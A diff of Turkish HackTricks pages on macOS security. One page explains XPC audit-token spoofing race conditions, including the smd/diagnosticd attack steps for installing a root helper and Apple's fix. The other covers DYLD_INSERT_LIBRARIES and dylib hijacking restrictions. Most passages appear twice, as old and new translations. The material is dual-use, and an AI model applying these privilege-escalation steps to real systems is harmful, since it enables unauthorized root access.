* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi normal (yanıt olmayan!) mesajlar tarafından üzerine yazılamaz**.
* Denetim belirteçleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme kontrolü için kullanılır. Bu, hizmet portuna bir mesaj gönderilerek gerçekleştiğinden, **henüz bir bağlantı kurulmamıştır**. Bu porttaki daha fazla mesaj, yalnızca ek bağlantı talepleri olarak işlenecektir. Bu nedenle, bir bağlantıyı kabul etmeden önceki **kontroller savunmasız değildir** (bu, `-listener:shouldAcceptNewConnection:` içinde denetim belirtecinin güvenli olduğu anlamına gelir). Bu nedenle, **belirli eylemleri doğrulayan XPC bağlantılarını arıyoruz**.
* XPC olay işleyicileri senkronize bir şekilde işlenir. Bu, bir mesaj için olay işleyicisinin, bir sonraki mesaj için çağrılmadan önce tamamlanması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle, bir **XPC olay işleyicisinde denetim belirteci diğer normal (yanıt vermeyen!) mesajlar tarafından üzerine yazılamaz**.
Bu, nasıl sömürülebileceğine dair iki farklı yöntem vardır:
İki farklı yöntem bu şekilde istismar edilebilir:
1. Varyant1:
* **Sömürü**, hizmet **A** ve hizmet **B'ye bağlanır**
* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A'da** çağırabilir
* Hizmet **A**, bir **`dispatch_async`** içinde olmadan **`xpc_connection_get_audit_token`** çağırırken **denetim belgesini alır**.
* Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiğinden **Denetim Belgesi üzerine yazılabilir**.
* Sömürü, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**.
* Bu nedenle svc **B**, mesajları aslında hizmet **A'ya gönderir**.
* **Sömürü**, **ayrıcalıklı eylemi çağırmaya çalışır**. Bir RC'de svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazmıştır** (sömürünün ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar).
1. Varyant 1:
* **Saldırı** **A** hizmetine ve **B** hizmetine **bağlanır**
* **B** hizmeti, kullanıcının yapamayacağı **ayrıcalıklı bir işlevselliği** A hizmetinde çağırabilir
* **A** hizmeti, bir **`dispatch_async`** içinde **bağlantı işleyicisinde _**değil**_ken **`xpc_connection_get_audit_token`** çağrısını yapar.
* Böylece, **farklı** bir mesaj **Denetim Belirtecini** **üzerine yazabilir** çünkü olay işleyicisi dışında asenkron olarak dağıtılmaktadır.
* Saldırı, **B hizmetine A hizmetine gönderme hakkını** verir.
* Böylece **B** hizmeti aslında **A** hizmetine **mesajlar** **gönderiyor**.
* **Saldırı**, **ayrıcalıklı eylemi çağırmaya** çalışır. Bir RC'de **A hizmeti**, bu **eylemin** yetkilendirmesini **kontrol ederken**, **B hizmeti Denetim belirtecini** üzerine yazar (saldırıya, ayrıcalıklı eylemi çağırma erişimi verir).
2. Varyant 2:
* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A'da** çağırabilir
* Sömürü, **hizmet A'ya bağlanır** ve hizmetten bir yanıt bekleyen bir **mesajı belirli bir yanıt portuna gönderir**.
* Sömürü, **hizmet B'ye** bu yanıt portunu geçiren bir mesaj gönderir.
* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken**, **sömürü** ayrıcalıklı bir işlevi **ulaşmaya çalışan farklı bir mesajı hizmet A'ya gönderir** ve hizmet B'den gelen yanıtın Denetim Belgesini mükemmel anda üzerine yazmasını bekler (Yarış Koşulu).
* **B** hizmeti, kullanıcının yapamayacağı **ayrıcalıklı bir işlevselliği** A hizmetinde çağırabilir
* Saldırı, **A hizmetiyle** bağlantı kurar ve **bir yanıt bekleyen** bir **mesaj** gönderir.
* Saldırı, **B hizmetine** o yanıt portunu geçerek bir mesaj gönderir.
* **B hizmeti yanıt verdiğinde**, **A hizmetine mesaj gönderir**, **bu sırada** **saldırı** ayrıcalıklı bir işlevselliğe ulaşmaya çalışarak **A hizmetine farklı bir mesaj gönderir** ve B'den gelen yanıtın Denetim belirtecini mükemmel bir anda üzerine yazmasını bekler (Race Condition).
## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
## Varyant 1: xpc\_connection\_get\_audit\_token'ı bir olay işleyicisi dışında çağırma <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Senaryo:
* Bağlanabileceğimiz iki mach hizmet **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme kontrollerine dayalı).
* _**A**_'nın, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme kontrolü** olmalı (ancak uygulamamız yapamaz).
* Örneğin, B'nin bazı **ayrıcalıkları** veya **root** olarak çalışıyor olması, A'dan ayrıcalıklı bir eylem gerçekleştirmesine izin verebilir.
* Bu yetkilendirme kontrolü için **`A`**, denetim belgesini örneğin `dispatch_async`'den çağırarak asenkron olarak alır.
* Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (sandbox profiline ve bağlantıyı kabul etmeden önceki yetkilendirme kontrollerine dayanarak).
* _**A**_ belirli bir eylem için bir **yetkilendirme kontrolüne** sahip olmalıdır ki **`B`** bunu geçebilir (ancak uygulamamız geçemez).
* Örneğin, B bazı **haklara** sahip veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylemi gerçekleştirmesini istemesine izin verebilir.
* Bu yetkilendirme kontrolü için, **`A`** denetim belirtecini asenkron olarak alır, örneğin `dispatch_async`'dan **`xpc_connection_get_audit_token`** çağrısı yaparak.
{% hint style="danger" %}
Bu durumda bir saldırgan, **B'nin A'dan bir eylem gerçekleştirmesini isteyen bir sömürü** oluşturabilirken **B'nin A'ya mesaj göndermesini sağlar**. RC başarılı olduğunda, **B'nin denetim belgesi** hafızada **kopyalanırken**, **sömürü** isteği **A tarafından işlenirken**, ayrıcalıklı eyleme **erişim sağlar**.
Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini** istemek için **B'nin A'ya mesajlar göndermesini** sağlarken **Race Condition** tetikleyebilir. RC **başarılı olduğunda**, **B'nin denetim belirteci** bellekte **kopyalanacak** ve **saldırımızın** isteği A tarafından **işlenirken** yalnızca B'nin talep edebileceği ayrıcalıklı eyleme **erişim** sağlayacaktır.
{% endhint %}
Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. **Root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir kontrol yapılmaz.
Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) fonksiyonu, yeni bir ayrıcalıklı yardımcı araç yüklemek için kullanılabilir (root olarak). Eğer **root olarak çalışan bir işlem** **smd** ile iletişime geçerse, başka kontroller yapılmayacaktır.
Bu nedenle, hizmet **B**, **root** olarak çalıştığından ve bir işlemi **izlemek** için kullanılabileceğinden **`diagnosticd`**'dir, bu nedenle izleme başladığında saniyede **çoklu mesaj gönderecektir.**
Bu nedenle, **B hizmeti** **`diagnosticd`**'dir çünkü root olarak çalışır ve bir işlemi **izlemek** için kullanılabilir, bu nedenle izleme başladıktan sonra, **saniyede birden fazla mesaj gönderir.**
Saldırıyı gerçekleştirmek için:
1. Standart XPC protokolünü kullanarak `smd` adlı hizmete bir **bağlantı** başlatın.
2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**.
3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir.
2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach portu oluşturmak ve göndermek yerine, istemci port gönderme hakkı, `smd` bağlantısıyla ilişkili **gönderme hakkının** bir kopyasıyla değiştirilir.
3. Sonuç olarak, XPC mesajları `diagnosticd`'ye dağıtılabilir, ancak `diagnosticd`'en gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir.
![Sömürü sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
![Saldırı sürecini gösteren bir resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Bir sonraki adım, `diagnosticd`'ye seçilen bir işlemin (muhtemelen kullanıcının kendi işlemi) izlemesini başlatmasını istemektir. Eş zamanlı olarak, `smd`'ye rutin 1004 mesajının bir seliği gönderilir. Buradaki amaç, ayrıcalıklı ayrıcalıklarla bir araç yüklemektir.
5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulunu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısı, kullanıcının işlem PID'sini döndürmelidir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunmaktadır). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait denetim belgesine başvurmalıdır.
4. Bir sonraki adım, `diagnosticd`'ye seçilen bir işlemi izlemeye başlaması için talimat vermektir (potansiyel olarak kullanıcının kendi işlemi). Aynı anda, `smd`'ye rutin 1004 mesajlarının bir seli gönderilir. Buradaki amaç, ayrıcalıklı yetkilere sahip bir aracı yüklemektir.
5. Bu eylem, `handle_bless` fonksiyonu içinde bir yarış koşulunu tetikler. Zamanlama kritik öneme sahiptir: `xpc_connection_get_pid` fonksiyonu, kullanıcının işleminin PID'sini döndürmelidir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` fonksiyonu, özellikle `connection_is_authorized` alt rutininde, `diagnosticd`'ye ait denetim belirtecini referans almalıdır.
## Varyant 2: yanıt yönlendirme
Bir XPC (Çapraz İşlem İletişimi) ortamında, olay işleyicileri eşzamanlı olarak yürütülmezken, yanıt iletilerinin işlenmesi benzersiz bir davranışa sahiptir. Özellikle, yanıt bekleyen iletilerin gönderilmesi için iki farklı yöntem bulunmaktadır:
XPC (Çapraz İşlem İletişimi) ortamında, olay işleyicileri eşzamanlı olarak çalışmasa da, yanıt mesajlarının işlenmesi benzersiz bir davranış sergiler. Özellikle, yanıt bekleyen mesajlar göndermenin iki farklı yöntemi vardır:
1. **`xpc_connection_send_message_with_reply`**: Burada, XPC ileti alınır ve belirlenmiş bir sıra üzerinde işlenir.
2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC ileti mevcut dağıtım sırasında alınır ve işlenir.
1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenen bir kuyrukta alınır ve işlenir.
2. **`xpc_connection_send_message_with_reply_sync`**: Tersine, bu yöntemde XPC mesajı mevcut dağıtım kuyruğunda alınır ve işlenir.
Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasına karşı koruma sağlamak için kilit mekanizması uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur.
Bu ayrım, **yanıt paketlerinin bir XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılma olasılığını** sağladığı için kritik öneme sahiptir. Özellikle, `_xpc_connection_set_creds` denetim belirtecinin kısmi olarak üzerine yazılmasını önlemek için kilitleme uygulasa da, bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bu, bir paketin ayrıştırılması ile olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belirtecinin değiştirilmesine olanak tanıyan bir zayıflık yaratır.
Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir:
Bu zayıflığı istismar etmek için aşağıdaki kurulum gereklidir:
* İki mach hizmeti, **`A`** ve **`B`** olarak adlandırılan, her ikisi de bir bağlantı kurabilir.
* Hizmet **`A`**, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir eylem için bir yetkilendirme kontrolü içermelidir (kullanıcının uygulaması yapamaz).
* Hizmet **`A`**, yanıt bekleyen bir ileti göndermelidir.
* Kullanıcı, **`B`**'ye yanıt vereceği bir ileti gönderebilir.
* **`A`** ve **`B`** olarak adlandırılan iki mach hizmeti, her ikisi de bir bağlantı kurabilir.
* **`A`** hizmetinin yalnızca **`B`**'nin gerçekleştirebileceği belirli bir eylem için bir yetkilendirme kontrolü içermesi gerekir (kullanıcının uygulaması bunu yapamaz).
* **`A`** hizmeti, bir yanıt bekleyen bir mesaj göndermelidir.
* Kullanıcı, **`B`**'ye yanıt vereceği bir mesaj gönderebilir.
Sömürü süreci aşağıdaki adımları içerir:
İstismar süreci aşağıdaki adımları içerir:
1. Hizmet **`A`**'nın yanıt bekleyen bir ileti göndermesini bekleyin.
2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`**'ye bir ileti göndermek için kullanılır.
3. Ardından, yasak eylemi içeren bir ileti gönderilir ve bu ileti, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir.
1. **`A`** hizmetinin yanıt bekleyen bir mesaj göndermesini bekleyin.
2. **`A`**'ya doğrudan yanıt vermek yerine, yanıt portu ele geçirilir ve **`B`** hizmetine bir mesaj göndermek için kullanılır.
3. Ardından, yasaklı eylemi içeren bir mesaj gönderilir ve bunun **`B`**'den gelen yanıtla eşzamanlı olarak işleneceği beklenir.
Yukarıda tanımlanan saldırı senaryosunun görsel temsili aşağıda verilmiştir:
Aşağıda, tanımlanan saldırı senaryosunun görsel bir temsili bulunmaktadır:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (33).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Keşif Problemleri
* **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu.
* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, olay işleyicilerinden kaynaklanmayan çağrıları filtrelemekle sınırlıydı ve etkin kullanım gerektiriyordu.
* **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirilmiş ve zaman alıcıydı.
* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi.
* **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanım örneklerini bulmak, hem statik hem de dinamik olarak zordu.
* **Metodoloji**: `xpc_connection_get_audit_token` fonksiyonunu yakalamak için Frida kullanıldı, olay işleyicilerinden gelmeyen çağrıları filtreledi. Ancak, bu yöntem yalnızca yakalanan işlem için geçerliydi ve aktif kullanım gerektiriyordu.
* **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak bu süreç zaman alıcıydı ve dyld paylaşılan önbelleği ile ilgili çağrılarla karmaşık hale geldi.
* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrılarını analiz etmek için betik yazma girişimleri, blokların ayrıştırılması ve dyld paylaşılan önbelleği ile etkileşimdeki karmaşıklıklar nedeniyle engellendi.
## Düzeltme <a href="#the-fix" id="the-fix"></a>
## Çözüm <a href="#the-fix" id="the-fix"></a>
* **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özgün sorunları detaylandıran bir rapor Apple'a sunuldu.
* **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu, `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı.
* **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC iletiyle ilişkili mach ileti üzerinden denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir.
* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesiyle uyuşmayan iletileri atma gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir.
* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır.
* **Rapor Edilen Sorunlar**: Apple'a `smd` içindeki genel ve özel sorunları detaylandıran bir rapor gönderildi.
* **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı.
* **Çözümün Doğası**: `xpc_dictionary_get_audit_token` fonksiyonu, alınan XPC mesajına bağlı mach mesajından doğrudan denetim belirtecini alması nedeniyle güvenli kabul edilir. Ancak, `xpc_connection_get_audit_token` gibi kamu API'sinin bir parçası değildir.
* **Daha Kapsamlı Bir Çözümün Yokluğu**: Apple'ın, bağlantının kaydedilen denetim belirteciyle uyumlu olmayan mesajları atma gibi daha kapsamlı bir çözüm uygulamamasının nedeninin ne olduğu belirsizdir. Belirli senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belirteci değişikliklerinin olabileceği bir faktör olabilir.
* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bunu tanımlamaya ve anlamaya çalışanlar için bir zorluk teşkil etmektedir.
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Kütüphane Enjeksiyonu
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% hint style="danger" %}
**dyld kodu açık kaynaklıdır** ve [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) adresinde bulunabilir ve **dyld-852.2.tar.gz gibi bir URL kullanarak** bir **tar** dosyası olarak indirilebilir.
{% endhint %}
## **Dyld İşlemi**
{% hint style="danger" %}
**dyld kodu açık kaynaklıdır** ve [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) adresinde bulunabilir ve **şu URL gibi** bir tar ile indirilebilir: [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
{% endhint %}
## **Dyld Süreci**
Dyld'in ikili dosyalar içinde kütüphaneleri nasıl yüklediğine bir göz atın:
@ -28,72 +29,72 @@ Dyld'in ikili dosyalar içinde kütüphaneleri nasıl yüklediğine bir göz at
## **DYLD\_INSERT\_LIBRARIES**
Bu, [**LD\_PRELOAD'a Linux'ta**](../../../../linux-hardening/privilege-escalation/#ld\_preload) benzerdir. Bir işlemi belirli bir kütüphaneyi bir yol üzerinden yüklemek için çalıştıracağını belirtmeye izin verir (eğer env değişkeni etkinse)
Bu, [**Linux'taki LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld\_preload) gibidir. Bir sürecin çalıştırılacağını belirtmek için belirli bir kütüphaneyi bir yoldan yüklemesine izin verir (eğer env değişkeni etkinse).
Bu teknik aynı zamanda her yüklenen uygulamanın bir "Info.plist" adlı bir plist dosyasına sahip olduğu ve `LSEnvironmental` adlı bir anahtar kullanarak **çevresel değişkenlerin atanmasına izin verdiği bir ASEP tekniği olarak da kullanılabilir.
Bu teknik ayrıca, her kurulu uygulamanın "Info.plist" adında bir plist'e sahip olması nedeniyle **ASEP tekniği olarak da kullanılabilir**; bu, `LSEnvironmental` adında bir anahtar kullanarak **çevresel değişkenlerin atanmasına** izin verir.
{% hint style="info" %}
2012'den beri **Apple, `DYLD_INSERT_LIBRARIES`'in gücünü büyük ölçüde azaltmıştır**.
2012'den beri **Apple, `DYLD_INSERT_LIBRARIES`** gücünü önemli ölçüde azaltmıştır.
Koda gidin ve **`src/dyld.cpp`'yi kontrol edin**. **`pruneEnvironmentVariables`** işlevinde **`DYLD_*`** değişkenlerinin kaldırıldığını görebilirsiniz.
Koda gidin ve **`src/dyld.cpp`** dosyasını kontrol edin. **`pruneEnvironmentVariables`** fonksiyonunda **`DYLD_*`** değişkenlerinin kaldırıldığını görebilirsiniz.
**`processRestricted`** işlevinde kısıtlamanın nedeni belirlenir. Bu kodu kontrol ettiğinizde nedenlerin şunlar olduğunu görebilirsiniz:
**`processRestricted`** fonksiyonunda kısıtlamanın nedeni belirlenir. O kodu kontrol ettiğinizde nedenlerin şunlar olduğunu görebilirsiniz:
* İkili dosya `setuid/setgid`'dir
* İkili dosya `setuid/setgid`
* Macho ikili dosyasında `__RESTRICT/__restrict` bölümünün varlığı.
* Yazılımın [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) ayrıcalığı olmadan sertleştirilmiş çalışma zamanına sahip olması
* Bir ikilinin **ayrıcalıklarını** `codesign -dv --entitlements :- </path/to/bin>` ile kontrol edin
* Yazılımın [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) yetkisi olmadan yetkilere sahip olması (hardened runtime)
* Bir ikilinin **yetkilerini** kontrol edin: `codesign -dv --entitlements :- </path/to/bin>`
Daha güncel sürümlerde bu mantığı **`configureProcessRestrictions`** işlevinin ikinci kısmında bulabilirsiniz. Ancak, yeni sürümlerde yürütülen şey, **fonksiyonun başlangıç kontrolleridir** (iOS veya simülasyonla ilgili olanları macOS'ta kullanılmayacağından bu kontrolleri kaldırabilirsiniz.
Daha güncel sürümlerde bu mantığı **`configureProcessRestrictions`** fonksiyonunun ikinci kısmında bulabilirsiniz. Ancak, daha yeni sürümlerde yürütülen şey, fonksiyonun **başlangıç kontrolleridir** (iOS veya simülasyonla ilgili if'leri kaldırabilirsiniz çünkü bunlar macOS'ta kullanılmayacaktır).
{% endhint %}
### Kütüphane Doğrulaması
İkili dosya **`DYLD_INSERT_LIBRARIES`** env değişkenini kullanmaya izin verirse bile, ikili dosya kütüphanenin imzasını kontrol ederse özel bir kütüphane yüklemeyecektir.
İkili dosya **`DYLD_INSERT_LIBRARIES`** env değişkenini kullanmaya izin verse bile, eğer ikili dosya yüklenecek kütüphanenin imzasını kontrol ediyorsa, özel bir kütüphaneyi yüklemeyecektir.
Özel bir kütüphane yüklemek için ikili dosyanın aşağıdaki ayrıcalıklardan birine sahip olması gerekir:
Özel bir kütüphaneyi yüklemek için, ikili dosyanın **aşağıdaki yetkilerden birine** sahip olması gerekir:
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
veya ikili dosyanın **sertleştirilmiş çalışma zamanı bayrağı** veya **kütüphane doğrulama bayrağı** olmaması gerekir.
ya da ikili dosya **hardened runtime bayrağına** veya **kütüphane doğrulama bayrağına** sahip **olmamalıdır**.
Bir ikilinin **sertleştirilmiş çalışma zamanına** sahip olup olmadığını `codesign --display --verbose <bin>` ile kontrol ederek **`CodeDirectory`** içindeki bayrak çalışma zamanını kontrol edebilirsiniz: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
Bir ikilinin **hardened runtime** olup olmadığını `codesign --display --verbose <bin>` ile kontrol edebilirsiniz; **`CodeDirectory`** içinde runtime bayrağını kontrol ederek: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
Ayrıca, bir kütüphanenin **ikili dosya ile aynı sertifikayla imzalandığı** durumda bir kütüphaneyi yükleyebilirsiniz.
Ayrıca, bir kütüphaneyi **ikili dosyayla aynı sertifika ile imzalanmışsa** yükleyebilirsiniz.
Bunu (kötüye kullanma) nasıl yapacağınızı ve kısıtlamaları kontrol etmek için bir örneği aşağıda bulabilirsiniz:
Bunu (kötüye) kullanma ve kısıtlamaları kontrol etme örneğini bulabilirsiniz:
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dylib Kaçırma
## Dylib Ele Geçirme
{% hint style="danger" %}
**Önceki Kütüphane Doğrulama kısıtlamalarının** Dylib kaçırma saldırıları gerçekleştirmek için de geçerli olduğunu unutmayın.
Unutmayın ki **önceki Kütüphane Doğrulama kısıtlamaları da** Dylib ele geçirme saldırılarını gerçekleştirmek için geçerlidir.
{% endhint %}
